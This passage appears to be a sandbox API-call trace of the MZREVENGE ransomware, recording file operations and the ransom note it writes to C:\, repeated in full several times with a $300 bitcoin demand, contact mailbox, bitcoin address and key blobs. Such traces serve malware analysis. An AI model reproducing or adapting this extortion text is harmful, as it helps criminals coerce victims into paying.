KuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw\r\n=================================================================================\r\n", lpUsedDefaultChar=0x0) returned 5981 [0217.780] WriteFile (in: hFile=0x32c, lpBuffer=0x24a2f48*, nNumberOfBytesToWrite=0x175d, lpNumberOfBytesWritten=0x19fd14, lpOverlapped=0x0 | out: lpBuffer=0x24a2f48*, lpNumberOfBytesWritten=0x19fd14*=0x175d, lpOverlapped=0x0) returned 1 [0217.889] CloseHandle (hObject=0x32c) returned 1 [0217.895] GetFileAttributesW (lpFileName="A:\\" (normalized: "a:")) returned 0xffffffff [0217.895] GetLastError () returned 0x3 [0217.900] GetFileAttributesW (lpFileName="B:\\" (normalized: "b:")) returned 0xffffffff [0217.900] GetLastError () returned 0x3 [0217.900] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0217.900] CreateFileW (lpFileName="C:\\\\How Do I Recover My Files (Readme).txt" (normalized: "c:\\how do i recover my files (readme).txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0217.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\nMZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5981 [0217.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5981 [0217.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x24a2f48, cbMultiByte=5981, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY 